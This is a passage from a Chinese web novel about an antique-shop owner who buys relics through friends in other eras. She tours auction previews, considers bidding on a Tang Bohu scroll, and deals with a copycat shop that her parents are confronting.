苏娇娇望了望污水横流的烂泥地,点头同意，少年见状欢快跳下车。 大约等了4、5分钟,少年气喘吁吁跑来，身后背着长匣子。 他停在车前没有立刻上车,而是在路边蹭了蹭鞋底，确保没有沾到污秽物才回到副驾驶。 苏娇娇接过匣子,抽出立轴缓缓打开。 她问：“怎么样？” 苏管家扶住眼镜贴上去细看,说不出评价。 苏娇娇也没想知道他的评价,竖起耳朵等萧妧妧的回复。 萧妧妧那里沉默了三四秒左右,急促说：“买！” 苏娇娇弯了弯唇角,收拢立轴。 “二十大洋你收着，东西我要了。”她指向后面那辆车：“你妹妹的病，苏九会负责。” 少年神情空白，要哭不哭的样子,哽咽说：“谢谢夫人。” 他接过温热的大洋，推门下车,关上车门前又仔细把自己坐过的地方擦了一遍。 苏管家叹气：“不知道这孩子家里还有什么人,我看着挺好的。” 苏娇娇收回视线,语气软和：“我瞧着也不错。” 苏管家领会了夫人的意思，笑着说：“我听他话音应当是海城人，正好咱们这次要在海城久留，缺一个熟悉海城的人跑跑腿。” 苏娇娇没说什么，让司机开车回酒店。 后半条街显然没法再逛了，这一通折腾，天色擦黑，现在赶去城隍庙也来不及逛。 车子启动，在坑洼土路上摇摇晃晃，苏娇娇道：“樵叔，尽快在租界买一处房产吧，不需要特别大，越靠近租界核心地段越好，价钱不是问题。” 苏管家哎了一声：“夫人放心，我回去就找肖经理打听。” 苏娇娇那里天色不早，萧妧妧这里也差不多。 她回过神看向窗外，已是霞光漫天。 孟甜甜睡了半下午，终于舍得睁开一只眼睛，含糊问：“结束了？” 萧妧妧深吐息，起身，神清气爽：“结束了，大丰收！” “你忙什么去了？我们聊了半天，你睡得可沉了。”萧妧妧问她。 孟甜甜揉着眼睛艰难爬起：“也没有很沉，被你们吵醒好几次。” 萧妧妧假装没听到这句。 孟甜甜打了个哈欠，恍恍惚惚拖走躺椅，慢吞吞回：“昨天在那边呆了一晚上，收音机有信号了，我听听外面什么情况。” 萧妧妧哦了一声：“要不要再给你准备点物资？等你那里的基地建好，咱们换点药回来。” 孟甜甜有气无力的点头，从冰柜里拿了一瓶冰可乐，也不喝，贴着脑门敷一会，很快回神。 “晚上怎么吃？” 孟甜甜说完自己忍不住笑了，一天天除了考虑怎么零元购就剩下琢磨吃什么了。 萧妧妧嘿嘿笑：“今晚你们自己定，我要早点回去收拾行李。” 孟甜甜耸耸肩，抱着手机琢磨外卖。 等到萧妧妧这里天色擦黑的时候，苏娇娇正好回了酒店，今天的战利品一箱箱堆放在客厅。 苏娇娇喊来萧妧妧，两人开始二次挑选。 青花大缸，拿来。 紫檀佛公，拿来。 虚谷的立轴，拿来。 永乐青花执壶，拿来。 王铎巨幅草书，一起拿来。 吴昌硕、胡公寿……全部拿来。 萧妧妧字画藏品稀缺的遗憾，在这一次旧货市场淘货中一次性补足。 虽然没有买到齐白石，但她不贪心。 至于斗彩的杯子、青铜器、分不清出处的壁画经卷等，则要拜托苏娇娇。 “放心，我已经安排管家去看租界的房子，到时候你帮我出出主意，看看它们藏哪。” 萧妧妧抱着满怀的长匣，笑得脸颊酸疼，眼底闪烁狡黠光芒。 “好，我鬼主意可多了。等我出差回来，咱们再来！” 苏娇娇捂嘴笑，想起她上次出的鬼主意，至今还在云城港口流传。 瓷器、字画、摆件，十几件东西堆放在结界附近，占了半条道。 萧妧妧一一检查过，塞进收纳盒再放入空间。 那口青花大缸留了下来，里面一股酱菜味，虽然被洗净了，仍有深色斑点残留。 萧妧妧查完资料，趁着时间还不算太晚，赶紧把缸洗了，然后放在通风的地方晾晒。 孟甜甜看她随意把东西放在院中，别提多刺挠了，时不时过去看两眼。 “妧妧，你还是收起来吧，放在这里我总担心被人砸了偷了。不是说很值钱吗？实在不行拿个什么东西盖起来。” 萧妧妧摆摆手：“小偷进不来，进来了也偷不走。” 见她这么有自信，孟甜甜不说什么了，只把青花大缸往深处挪了几寸，免得进出不慎踢到它。 苏娇娇还有正事要忙，提醒她们记得把糕点分了吃掉，匆匆回去了。 萧妧妧一拍脑门，差点忘记这事。 正好晚饭没开始，她挨个召唤她亲爱的老顾客们，一人分了两包糕点带走。 爱丽丝才忙完荒地开垦，顺势留下吃晚饭，她离开的时候，萧妧妧多塞了三包给她。 爱丽丝手下有一群小萝卜头，一包两包不够分。 八点过十分，萧妧妧在小卖部、古董铺以及两处院子来回巡逻一圈，确认没什么遗漏的事项，拍拍屁股走人。 “等等，送去鉴定的翡翠没带走呢，对了，上新预告发了吗？” 萧妧妧一只脚踏出门，听到提醒步子一顿，硬生生扭了回来。 “忘了忘了，有点飘，脑子不好使。视频我回去剪。” 萧妧妧又拍了拍脑门，怎么把这么重要的事给忘了。 抱起箱子绑在史努比上，萧妧妧最后检查一遍，踏踏实实回家。 “爸，明天我要出差，鉴定中心你帮我去呗？和上次一样。” 萧妧妧拎着大包小包进门，脚没站稳，呼喊声先传了进去。 “明天啊？行，东西放那，我帮你跑。” 萧大明从房间里探出头，应了一声，飞快缩回去。 萧妧妧感叹一句有人帮忙真好，吭哧吭哧跑了两趟，东西全部放在客厅，糕点塞进冰箱。 然后摸进小仓库找出行李箱，擦去上面灰尘。 萧妧妧拎着它进房间准备收拾行李，忽然停下脚步，狐疑转身。 有问题。 萧大明的反应有问题。 爸妈都在家，但只有萧大明出来回应，关键是只应了帮忙的事，却没问她出差是什么情况。 萧妧妧扯着嗓子大喊：“爸，我说我要出差，四五天呢，你听到了吗？” 这一嗓子喊出去，张芸萧大明陆续从房间出来，好像才听到似的，纳闷地望着她。 “出差？去哪啊？和谁去？远不远啊？”这是张芸的反应。 “出差啊，出差好，等你回来爸爸就给你打听清楚，保证不耽误你生意。”萧大明如是说。 萧妧妧可以确定，爸妈有事瞒着她。 放下行李箱，萧妧妧凑到两人面前好一阵打量。 张芸倒还好，萧大明就差把心虚两字写在脸上。 再看两人神情，萧妧妧发觉他们似乎不太高兴。 当然，这份不高兴不是冲她来的。 “你们吵架了？”萧妧妧问。 张芸翻了个白眼，没说话，萧大明笑容勉强：“一把年纪了有什么好吵的，这不是电影票房快出来了，我们在算账，你妈非要说拿去旅游，我意思是要存着。” 萧妧妧看了看张芸，张芸不情不愿地承认：“嗯，就是这样。” 萧妧妧更狐疑了，赚到钱是存是花，两人一早有了打算，有什么好吵的。 “行吧，我出差去好几个城市呢，到地方给你发定位。”萧妧妧见他们不肯说实话，不打算追问下去，转身要走的时候想起什么，扭头和萧大明说：“对了爸，不石皮斋的事情你只管打听，其他别管，等我回来我解决。” 萧大明倏然紧绷，眼巴巴盯着萧妧妧：“不用你管，你一个丫头片子找上门万一被人欺负呢？我来解决。” 张芸斜瞥过来，讥讽的哼了一声。 萧妧妧直觉不对，目光在两人身上来回打转。 “和不石皮斋有关？” 张芸叹气，欲言又止，最后什么也没说，扭头回屋。 萧大明对上闺女清凌凌的目光，眼神不自觉闪躲，神情带出几分尴尬、难堪。 “没什么大事，放心出差去，老爸保证处理干净。” 萧大明不止眼神闪躲，说话语气都变虚了，含糊不清的。 萧妧妧心里咯噔一下，隐约有了猜测。 “很麻烦吗？” 萧大明唔了一声，“还行。” 萧妧妧试探道：“那……要不算了？” 萧大明眼睛一瞪：“算什么算，不能算！砸咱们家饭碗的事，这个算了，下个也算了？” 听到老爸硬气表态，萧妧妧松了一口气。 “好，那我不问了，你们先解决，要是你们解决不了，我再想办法。” 萧大明拍拍她肩膀，嘱咐几句路上小心，又问她几点的车次，要不要送她去车站。 萧妧妧一一回答，催他回去休息。 回了房间，萧妧妧却没心思管行李了，在网上找不石皮斋的消息。 能用的消息不多，只有一个视频账号，最近一周开始发布翡翠的相关视频。 萧妧妧一看，瞬间无语，竟然用AI生成发布。 评论区寥寥数人，点赞更不用说，少的可怜。 找到评论最多的一条视频，点开评论区，萧妧妧迎面遭受暴击。 “不石皮斋新店开业大酬宾，全场翡翠9折起售” “宝宝，不是盗版哦，我们不石皮斋专做千元价位的翡翠” “不破斋啊，其实两家店是同一个老板啦[捂嘴笑]” “对呢，可以理解为分店，不同门店做不同价位，感谢宝宝理解，欢迎来店选购[龇牙]” 粗略扫完回复，萧妧妧一口气差点没喘上来。 还敢变本加厉，太不要脸了吧！ 想到萧大明信誓旦旦的保证，萧妧妧深吸气，放下手机，眼不见心不烦， 算了，回来再说吧。 萧妧妧按下心里的诸多想法，收拾行李。 【作者有话说】 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“熙妍”,灌溉营养液 +5 感谢读者“哦了瓦特了”,灌溉营养液 +15 199 第199章 ◎金玉轩◎ 萧妧妧定下的看展行程紧凑,5天时间走3座城市，参观大小6场预展。 中午抵达目的地简单吃一口，回酒店放下行李，马上赶去预展现场。 有看上的当场提前洽购,不能洽购的约电话委托代理。 两场小展一天时间里看完,晚上休整,第二天出发另一座城。 萧妧妧没想到,一场不太起眼的当地小拍，意外遇见了在杏问有过一面之缘的几位老藏家。 本想随便看看赶下一场,萧妧妧硬生生多逗留了两个小时。 虽然没找到满意的藏品，但也不算完全没有收获。 至少她主动和秦教授、江老师几位藏家打招呼的时候,他们能正确叫出自己名字了。 剩下两天半，萧妧妧把时间留给了京城的两家大拍卖行,业内地位与佳博相当。 好在两家的秋拍没有佳博那么夸张，加起来才600件,一天一场预展,剩下半天时间足够她去金玉轩瞧瞧。 第一次来时不懂事,看个热闹就走了,意外进入古董行业后,再逛就不一样了，萧妧妧会把重点放在物件上。 她停在金玉轩气派的大门前，仰起脸，满眼羡慕。 不破斋如果能做到这个规模,她做梦都能笑醒。 眼看越来越多人排队进店，萧妧妧抓紧时间挤进去。 金玉轩传承百年,店内一二楼陈设以及装修也保持了百年,古朴又素雅,进门之后大家不自觉压低嗓音。 三楼、四楼几次翻修，倒是多了点时髦感，金碧辉煌。 萧妧妧在一楼的瓷器区与玉器区逛了许久，看不上的、看得上的，估价过后发现竟然大多是真货。 当然，真货不一定贵，便宜的6、7000，贵的数十万不等，而精品非卖区直接飙升，千万百万档次的摆了一整排。 萧妧妧看得目不暇接，逛到玉器区差点走不动道。 大到玉雕摆件，小到玩器饰品，造型、样式五花八门，古董玉稍贵，自营的玉饰便宜些。 萧妧妧忍不住对比，心里得意片刻。 她手里的玉器翡翠无论数量还是质量，都比金玉轩的略胜一筹。 店内售卖的所有古董非古董，无不是比系统给出的估价高上40%左右，少数物件能高到50%。 萧妧妧这一圈赚下来，没见到多少特别值得买的东西，毕竟她只想捡漏。 二楼面积大些，一半卖瓷器一半卖杂项，三楼四楼则是字画、古籍、金器等物品。 上次来时没耐心逛，只看了一二楼就走，现在看下来，这一间古董店的商品存量完全比得上一场拍卖预展。 “你怎么到这里来了？” 萧妧妧溜溜达达回到大厅，眼见游客数量增多，时间也不早，打算离开。 然而没等她转身走人，一道浑厚男声从身侧传来，听起来像是在对她说话。 萧妧妧刚想回他认错人了，扭头看过去，是一张有点眼熟的脸，立刻愣住。 “你在跟我说话？” 萧妧妧指了指自己，一脸莫名。 这人怎么面色青黑，好像谁得罪他似的。 “是不是叶赛宁让你过来的？”他环顾四周看到来往的客人，只得压低嗓音没好气的说。 萧妧妧确定了，确实在和她说话，只是她根本听不懂这人说的什么意思。 “我们认识吗？” 男人态度不佳，萧妧妧也没给好脸色。 是的，眼前的男人就是叶赛宁上回带去不破斋的，所谓的亲戚。 萧妧妧警惕打量他，一身西装人模狗样，胸口别了铭牌，写着“金玉轩副经理齐小文”几个字。 原来他叫齐小文啊，还是金玉轩的副经理。 真没素质。 齐小文不想同她拉扯，指了指旁边的茶室：“萧小姐来金玉轩做什么？不如先去茶室坐坐，我也好招待你。” 萧妧妧越发觉得他可疑，明明一副巴不得她赶紧滚的态度，却做出相反的举动。 “客气了，我刚逛完。” 这人莫名其妙的……萧妧妧对金玉轩的好印象消失殆尽，扫他一眼，转头就走。 她要赶晚上的高铁。 路上，萧妧妧忍不住又找黎行聿打听，这次有姓名提示，效率明显提高，至少黎行聿知道她说的是谁- 齐小文？你见到他了？ 萧妧妧塞好行李箱，找到自己的座位，一坐下，黎行聿的消息迅速发过来- 嗯，顺路去金玉轩看了看，临走的时候他突然拦住我，还质问我为什么要出现在那里。 想了想，她又发去一句- 那个齐小文是不是和你家关系不好？我听他提起叶阿姨的时候语气不太好。 黎行聿那里迟迟没回应，萧妧妧等了等，直接等到高铁启动，索性闭目养神。 这几天来回奔波，白天要早起，晚上要做功课，完全特种兵行程，连当地美食都没机会尝试。 萧妧妧一想到马上回南市，浑身轻松。 结果这一闭眼直接睡过去，迷迷糊糊听到报站声时，三个小时的路程一晃眼过去了。 踩在南市的地界，萧妧妧伸了个懒腰，连空气都好像变得清新了些。 往站台外走了几步，她迟钝想起看回复，一打开手机，发现黎行聿回复了一条语音- 我在停车场等你。 萧妧妧嚯了一声，好突然啊。 她取消网约车预约，按着指示牌往地下停车场走。 黎行聿不知道什么时候到的，萧妧妧赶到出口位置抬眸就看见了他。 他笑着挥了挥手，快步走来，自然而然地接过行李箱。 “还顺利吗？” 萧妧妧抛开微妙的不自在感觉，回以微笑：“还行，可惜没几样看中的。” 如果眼光放低一点，其实有很多值得买入的物件，放在手里等几年必定能升值。 但仔细一想，再怎么涨价，一买一卖赚到的差价不过百来万。 萧妧妧体会过旧货市场利润千百倍翻的快感，这点小钱不足以打动她，并为此花时间精力。 萧妧妧这时渐渐能体会到老藏家入圈久了以后，为什么开始改变自己的收藏体系，走精品路线。 瞧瞧那些普通玩意，萧妧妧都不好意思带回家。 想必来店里看货的客人也更偏向看好货，而不是平平无奇的老物件。 黎行聿笑了笑，领着她来到车前，司机接过行李箱放进后备箱。 “昨天收到一份新的图录，大维德拍卖今年的秋拍有唐伯虎真迹。”他拉开车门，示意她先上车。 萧妧妧没想到会有这么个意外之喜，爬上后座迫不及待追问。 “立轴吗？还是扇面？估价多少？” 黎行聿慢一步上车，直接把图录递了过去。 “封面就是它，手卷，十几年前被国外私人藏家买走的《松崖别业图》，当时落锤价7000万。” 图录里插了书签，萧妧妧随便一翻就是那页，跳过看不懂的字母，她先后找到两行标有数字的段落。 7000万的显然是上次上拍的成交价，下方的1，210万字样则是此次上拍的预估价。 萧妧妧换算一下，倒吸一口气，“1.2亿！” 最低估价1.2亿，对萧妧妧来说并不算贵，但这是唐伯虎啊！ 竞争激烈是必然的，最后成交价能落在哪里可真不好说。 萧妧妧想哭，刚觉得自己手头宽裕了一点，马上冒出一个唐伯虎真迹。 “消息是不是传开了？”萧妧妧欲哭无泪，只能祈祷这次竞争小一点。 黎行聿点头：“据我所知，已经有几个老藏家决定参与竞拍。” 萧妧妧眼睛一瞪：“他们去我也去！” 机会难得，萧妧妧打算冲一把，不说她自己本身有多感兴趣，一旦她拿下唐伯虎真迹，在圈子里也算扬名了。 “我订阅了大维德的邮件，《松崖别业图》的详细报告晚一点会发过来，给我一个邮箱，收到报告后我转发你一份。” 萧妧妧忙不迭掏手机交换联系方式。 叮叮两声后，没多久，她听到旁边传来黎行聿的低声轻笑。 萧妧妧不明所以，偷瞄一眼发现他目光落在自己刚发过去的消息上。 这有什么好笑的？ 她莫名地看了看自己稍显不正经的企鹅邮箱账号，又对比一下他的，萧妧妧恍然意识到什么，脸颊瞬间涨红。 回去就注册一个看起来特别商务的新邮箱！ 萧妧妧拨了拨头发，挡住发红的耳朵，若无其事地翻看图录。 之后的十几分钟，车厢几乎陷入了沉默中。 萧妧妧一开始没什么感觉，是在活动脖颈缓解不适时，突然发觉气氛不太对。 刚认识那会彼此不熟悉，黎行聿话不多，之后几次见面发现他还算健谈，等后来熟悉了，两人一聊起来没完没了。 通常情况下，黎行聿并不是个沉默寡言的人。 她下意识扶着脖子看向一侧，没等观察他在忙什么，双眼冷不丁对上黎行聿的视线，整个人顿住。 再仔细一看，黎行聿的脸虽然朝着她的方向偏过来，但目光涣散无焦点，显然在发呆。 萧妧妧纳闷一会，抬手在他眼前挥两下。 “怎么了？”他回神，涣散目光重新汇集。 萧妧妧挠头，小心翼翼说：“感觉你不太高兴的样子。” 趁他走神，萧妧妧偷摸观察了一会，与其说不高兴，黎行聿的神情更像是在纠结、踌躇，眉头微微皱起。 帅哥皱眉头很性感没错，可是长时间皱着多少有点吓人。 黎行聿叹一口气缓缓开口：“确实有件事比较为难，没想好怎么办。” 萧妧妧在问与不问之间摇摆，迟疑了几秒见他没有继续说下去的意思，便闭上嘴巴。 她老气横秋地拍拍黎行聿肩膀，“别想了，船到桥头自然直。” 黎行聿品味这一句话，弯起唇角，转而问道：“金玉轩怎么样？” 萧妧妧撇撇嘴，“普普通通吧，不过确实比我的不破斋气派一点。” 黎行聿瞬间意会：“因为齐小文？” 萧妧妧重重点头，吐槽道：“好莫名其妙的一个人，我连他名字都是今天才知道的，好像招他惹他似的。” 黎行聿没吭声，回了一个安慰的拍肩。 萧妧妧无所谓地摆摆手：“你不提我都把他给忘了。” 说话工夫，车子停在月牙巷街道。 萧妧妧急吼吼下车拿行李，着急回店铺看一眼，刚要推开车门，另一边胳膊倏地被拽住。 萧妧妧撤回一条腿，回身，歪着脑袋看他。 黎行聿抿抿唇，停顿了大约三四秒，“妧妧，你对现在的生活满意吗？” 萧妧妧眼珠子一转，立刻想到黎行聿前面发呆的事，她顿时打起精神，关上车门重新端坐。 “你*要和我聊人生吗？”她眨巴眼睛看他。 黎行聿失笑：“对，有些事情需要萧老板帮忙解惑。” 这么说她可就不急着回家了，扭了扭身体，一副详谈的架势。 “如果你问我的话，我挺满意的。” 黎行聿：“没有什么遗憾？” 萧妧妧认真想了一会，摇头。 黎行聿沉吟片刻：“假如你的亲生父母这时候出现，你会想见他们吗？或者说，如果有机会找到他们，你愿意试试吗？” 这个问题她一点不陌生，每次把秘密分享给好朋友时，她的好朋友也会这么问她。 前几次，萧妧妧的回答是想看一眼，了解一下前因后果，然后再也不见。 现在嘛，萧妧妧的心态大不一样了，好奇肯定是会好奇的，但真相对她而言已经不重要了。 萧妧妧每天有忙不完的事情，还有一个长远的目标等待实现，以前的事情不应该占据她太多的心力。 “你早几个月问我，我大概还会纠结一下，现在不了，不想见也不想找。” 释然的神情，笃定洒脱的语气，黎行聿仔细端详一会，确认这就是她的真实想法。 “你怎么问起这个了，该不会是你……” 她目光闪烁着上下打量他，黎行聿倏然紧绷，脑筋飞速转动考虑怎么把话题岔开。 “你发现叶阿姨不是你亲妈？” 怕伤害到他，萧妧妧说出后半句的时候措辞了好久，神情颇为谨慎小心，狐狸眼直勾勾盯着他。 黎行聿：…… 黎行聿一口气堵在胸口，喉头滚了滚才挤出一句：“我帮你拿行李。” 下车之前，他没忍住，狠狠揉了揉萧妧妧的后脑勺。 萧妧妧抱着脑袋傻眼，结束了？ 话题开始的猝不及防，结束的也猝不及防。 “一个两个都很莫名其妙。” 嘟囔着下车，拒绝黎行聿送她回家的提议，萧妧妧拖着行李箱往小卖部走，一边走一边整理被他揉乱的头发。 黎行聿让司机先走，找到叶赛宁的号码拨过去。 【作者有话说】 先发后改~ 感谢读者“兮然”,灌溉营养液 +20 感谢读者“momo”,灌溉营养液 +1 200 第200章 ◎船到桥头自然直◎ 萧妧妧小跑着回到店里,推开门看到整齐的小院，其乐融融的场面，悬了几天的心总算踏实。 “妧妧回来啦~” 门口忙着浇水的孟甜甜最先发觉，扭头喊出声。 爱丽丝、申明月、苏娇娇听到动静,先后围过来。 “吃过饭了吗？我们刚开始呢。”苏娇娇拉她进院子。 “我去拿餐具。”爱丽丝欢快举手抢任务,屁颠屁颠跑开。 “你可算回来了,这几天看不到你总觉得怪怪的。”申明月帮她提行李。 萧妧妧对大家的热情受宠若惊,龇牙笑：“看不到你们我也觉得怪怪的，你们都没给我打电话。” “又没什么大事,大家互相照应一下，事情很快解决了。”孟甜甜放下喷壶,指指墙边一排泡沫箱，说：“看,你走的那天收到的种子，当天泡水里育苗,你一回来就发芽了。” 萧妧妧洗完手顺道过去瞄了两眼,长势良好,不枉费她们特意学习一下午。 “再长几天差不多能挪回去,等你正式营业那天保证干干净净。”孟甜甜说。 萧妧妧：“几箱菜秧子能影响什么,你那里冻死人，挪回去多半活不了，多养几天吧。” “吃面条还是米饭？” 苏娇娇见两人蹲在菜苗前聊起来了，催促她过去吃饭。 萧妧妧看大家围坐在一起气氛正好,摸了摸肚子，确实有点馋。 “面条！是甜甜做的凉拌面吧？我要多来点。” 苏娇娇应声,给她盛了一大碗面,盖上厚厚一层浇头。 萧妧妧拿起筷子扒拉两口,享受地眯起眼。 要不是末世来了，她真心建议孟甜甜开个小餐馆，生意不比古董铺差多少。 晚饭过后，萧妧妧给大家分特产，拉开箱子时忽然想起来，刚才下车的时候应该给黎行聿一份。 “反正你们住对门，回去带给他一样的。”孟甜甜随口提议。 萧妧妧看一眼时间，晚上八点不到，这会过去正好免得打扰他休息。 “那我先回家，你们自己玩吧。” 孟甜甜这两天学会了捣鼓投影仪，几个人抱着特产嚼嚼嚼，闹着要看恐怖片。 行李箱留在客房，萧妧妧赶紧拎上东西溜走。 黎行聿确实还没睡，她敲门的时候是保姆开门，进院子没多久黎行聿就出来了。 “给你带的特产，在车上忘记了。”她提起手提袋晃了晃，“谢谢你去接我。” 放下东西，萧妧妧准备回去，黎行聿这时叫住她。 “等等，图录你带回去看。”黎行聿折回屋子里拿来东西递过去，同时提醒她：“还有一件事，如果你要拍《松崖别业图》，竞拍资格需要提前申请，以及后续的大额电汇、税务报备、报关等事项，最迟要在下月底之前准备好。” 萧妧妧瞪大眼睛啊了一声，“这么麻烦？” 她以为账户有钱就够了，什么税务、报关她根本没想起来这一茬。 黎行聿点头：“确实比较繁琐，你不介意的话，我有合作过的顾问可以介绍你认识。” 萧妧妧拨浪鼓似的摇头，看黎行聿的眼神像在看救星：“不介意，当然不介意。” 让她自己去办也不是不行，但她现在业务繁忙，能偷懒还是适当偷一点懒比较好。 “晚一点把他推给你，”黎行聿轻拍她后脑勺，“回去吧，早点休息，晚安。” 萧妧妧扬起大大的笑容，回一句“晚安”，挥挥手转身回家。 砰一声关上大门，彻底阻隔黎行聿望过来的视线。 萧妧妧终于找到机会独处，脸上的笑容瞬间垮下来，疲惫叹气。 院子里静悄悄，爸妈不知道去哪了，萧妧妧缓了一会，垂头耷脑回房间洗漱。 水声停止，她顶着湿漉漉的头发踢踢踏踏出来。 路过书桌时，萧妧妧的眼角余光忍不住瞥向随手放在桌上的图录，眉头随之皱起。 下一秒，图录旁边的手机屏幕一闪，消息提示几分钟前邮箱收到一封新邮件，以及，黎行聿推来的顾问团队联络方式。 萧妧妧的眉头拧得更紧了。 一次又一次，大事小事无不是主动提出帮忙，恨不得为她代劳，萧妧妧很难不多想。 这一次，她不再认为自己自作多情。 完了，黎行聿好像真的在暗恋她。 不，不够暗，挺明的。 快速吹干头发，萧妧妧飞扑到床上，脑袋埋进枕头里，身体像搁浅的鱼胡乱扑腾。 越忙越容易出乱子，先是黎行聿，再是那个不石皮斋，还有就是…… 总之，无论哪一件事，没有任何人向她说明的意思。 萧妧妧躲在枕头里尖叫发泄，只好送给黎行聿的那句话“船到桥头自然直”也送给自己。 胡思乱想中，困意席卷而来，萧妧妧不知不觉陷入沉睡。 第二天睁眼看到头顶的大灯泡，她恍然想起昨晚纠结半天，睡前忘记关灯。 萧妧妧唉声叹气地爬起，整个人懒洋洋提不起劲。 爸妈没回来，发了消息只说在忙，她想问问不石皮斋的事都不好开口，怕他们着急上火。 愁眉苦脸出门，眼熟的商务车堵在门口巷子中，似乎正准备启动，车窗降下一般，恰好能看见黎行聿半张脸。 “早啊，妧妧。” 黎行聿极其自然的打招呼，对司机说一声稍等，作势要推车门下车。 萧妧妧神色如常的回应一句“早上好”，直接说自己快迟到了，飞奔离开巷子。 兵来将挡水来土掩，等他什么时候挑明什么时候再说吧。 一路垮着脸到小卖部，缩头乌龟萧妧妧无数次长叹气。 这一天天的，也太难为她了。 “妧妧快来，快递到了，我帮你上新吧。” 院门推开，孟甜甜一边拆快递，一边朝她招手。 萧妧妧望一眼树下石桌，上面一堆拆开的防撞包装，凳子上好几摞证书。 “我来吧，这几天你没少忙，去歇歇。” 萧妧妧打起精神，与其想那些有的没的，不如踏踏实实赚钱。 唐伯虎手卷无疑是大热门，她至少要准备十个亿才有底气竞拍。 哦，她差点忘了联系顾问团队。 鉴定证书收进斗柜，翡翠桌子暂时锁进柜子里等待陈列，萧妧妧赶紧戳开消息，结果却看到顾问团队的职业经理人已经发来好友申请。 个人需要提交的资料，以及银行方面需要准备的材料，萧妧妧全部授权经理人代办。 前后花了大约将近一小时，沟通完毕，萧妧妧发出了“有钱真好”的赞叹。 委托费不低，但比起她需要付出的精力，完全不算什么。 放下手机，萧妧妧转身时看到摇椅上的苏娇娇，不知道她什么时候来的，眯着眼睛快睡着的样子。 “娇娇姐？”她轻唤。 苏娇娇含糊的唔了一声，恍然回神：“你聊完啦？正好，我也有事跟你说。” 萧妧妧眼睛直放光：“是不是拍卖行的消息打听到了？” 苏娇娇笑着点头：“猜对了，确实有拍卖行的消息，有一家汇司拍卖行半个月后办一场拍卖，听说藏品丰富，我准备去看看，到时候再和你详细说。” 萧妧妧连连点头，她手里还有不少金子呢，完全可以应付一场拍卖。 苏娇娇继续道：“还有一件事，上回你说买洋房，管家打听了有两户打算出国，回头我去看看房子，你要不要一起？” 毕竟是萧妧妧出钱，她不好意思一个人做决定。 萧妧妧摆摆手，显然不太在意：“你们挑，什么样子我无所谓，能藏东西就好。” 苏娇娇应声，琢磨等花园洋房的使命完成，她再变卖换成金子给萧妧妧送回来。 “另外一件事我得听听你的想法，后天我要去一趟南市，那里有月牙巷有南奇山，应当就是你这里的南市。”说起这事，苏娇娇想到萧妧妧一脸严肃的拜托她，不禁也严肃了神情。 萧妧妧蹭一下跳起来，神情惊喜：“你要去南市？太好了。” 苏娇娇好奇问：“你说要拜托我的事，到底是什么？” 萧妧妧想了想，凑到她耳边，把自己的想法告诉她。 苏娇娇刚开始听得挺清楚的，后来就双眼发直，晕晕乎乎，怀疑自己也怀疑起萧妧妧。 “你说的这个法子真能行吗？”她将信将疑说。 萧妧妧耸肩：“不确定，试试看呗，但我挺有把握的。” “好，我帮你找。”苏娇娇一口答应下来。 萧妧妧拍着胸脯说：“你放心，我这几天会先查查资料，我这儿的月牙巷改建过几次，门牌号肯定对不上，我想别的法子来确认。” 两人商量片刻，事情就此敲定。 苏娇娇离开之前丢下一句：“你前几天不在，我自己带人去了旧货市场，又淘来几件瓶子，你看看能不能留。” 萧妧妧更惊喜了，探头探脑：“哪呢哪呢，我瞧瞧。” 苏娇娇指了指小卖部结界旁边的柜台，知会一声先回去了。 萧妧妧忙不迭跑去柜台后，抱出苏娇娇送来的四件器型不同的瓷瓶。 凑巧的是，其中一件青花釉里红和一件白地红花，正是萧妧妧最近迫切想入手的款。 交给系统估价，分别给出1200万、430万、280万、770万的价格，萧妧妧知道自己又可以省下一笔钱了。 这不比佳博即将拍卖的那款好多了？ 萧妧妧喜滋滋抱它们出去擦擦洗洗，然后藏进空间里。 “叮铃铃” 手机狂响，萧妧妧扔掉手套拿起手机，看到来电显示“季随”两个字差点没反应过来。 她纳闷了一会，眼睛唰一下亮起来。 “萧老板，月牙巷的拍摄审批下来了，方便我安排美术组先去你店里布景吗？我们尽量赶在黄金周之前把镜头拍完，不耽误你做生意。” 萧妧妧哇了一声，还怪体贴的。 她瞄一眼日历，距离黄金周放假只有一个星期左右，这个时间点对她而言刚刚好。 黄金周开始她会非常忙，这种忙碌大约会持续到11月，中间还真不一定有时间盯着他们拍戏。 “好啊，什么时候来？我提前收拾一下。” “今天下午怎么样？最迟明天下午可以布置完成，速度快的话晚上能拍几条大夜戏。” 萧妧妧考虑一会，确定这几天没什么特别安排，爽快答应。 电话挂断，萧妧妧又忙起来了。 不知道季随想要打造出什么风格的古董铺，她只能先把店里古董转移到库房，再让他们挑选。 这是个大工程，萧妧妧一个人忙不过来，孟甜甜一起搭把手，顺带薅来柳如烟帮忙。 三个人忙得热火朝天，柳如烟累得直嚎。 这时，萧妧妧手机再次叮铃铃响。 她以为又是季随，一手抱着鎏金铜像吭哧吭哧去库房，一手凭感觉摸出手机接通电话。 “喂，是萧妧妧小姐吗？我是月牙巷派出所的民警，请问萧大明和张芸是你什么人？” 萧妧妧一愣，看一眼来电显示，是一个本地的陌生号码。 “他们是我爸妈，出什么事了？” 对面的烟嗓男声确认她身份，急声催促： “那你快来吧，你爸妈跟别人闹起来了，一直影响别人做生意。 月牙巷1123号，旁边斜对面的街有卖雪王的，你知道吧？赶紧来。” 1123号，不会是那个不石皮斋吧？ 【作者有话说】 感谢读者“momo”,灌溉营养液 +1 200-210 201 第201章 ◎不石皮斋◎ 自称民警的人没说更多,丢下一句“赶紧来”匆匆挂断。 萧妧妧暂且放下手里事情，骑上史努比找1123号。 越靠近目的地，萧妧妧越茫然，原来月牙巷还有这么一处犄角旮旯的地方。 来到警察提起的雪王,顺着人行道向斜对角张望,长长的坡道上围了一群人。 民警正驱散看热闹的人群,可惜毫无作用,大家散开了些，依然翘着脚往店里张望。 应该就是那里了。 旋动把手,史努比加速冲过去，吱一声急停在路边,萧妧妧顾不上锁车直接冲过去。 “借过，谢谢。” 她扒开人群的同时顺势瞄一眼店铺的招牌,果然有“不石皮斋”几个字。 石皮两个字非常心机地挤在一起，牌匾选用和不破斋同样的黑色底,乍一看和不破斋确实像连锁店。 萧妧妧远远就听见爸妈义愤填膺的怒斥,好不容易挤进包围圈,她上下打量,松了一大口气。 吵归吵,至少没受伤，人没事就是最行。 萧妧妧三两步跨进店，和民警了解具体情况。 “你劝劝你爸妈，成天拿个喇叭在人家门口喊什么假货、诈骗,谁能不着急上火啊。” 另一民警跟着劝：“今天差点打起来，这么大年纪出什么事多不划算？ 要是这个老板真侵权了,咱们走法律程序对不对？闹事不合适。” 萧妧妧态度端正：“是是是,对对对。” 一边应付,她一边瞄向爸妈。 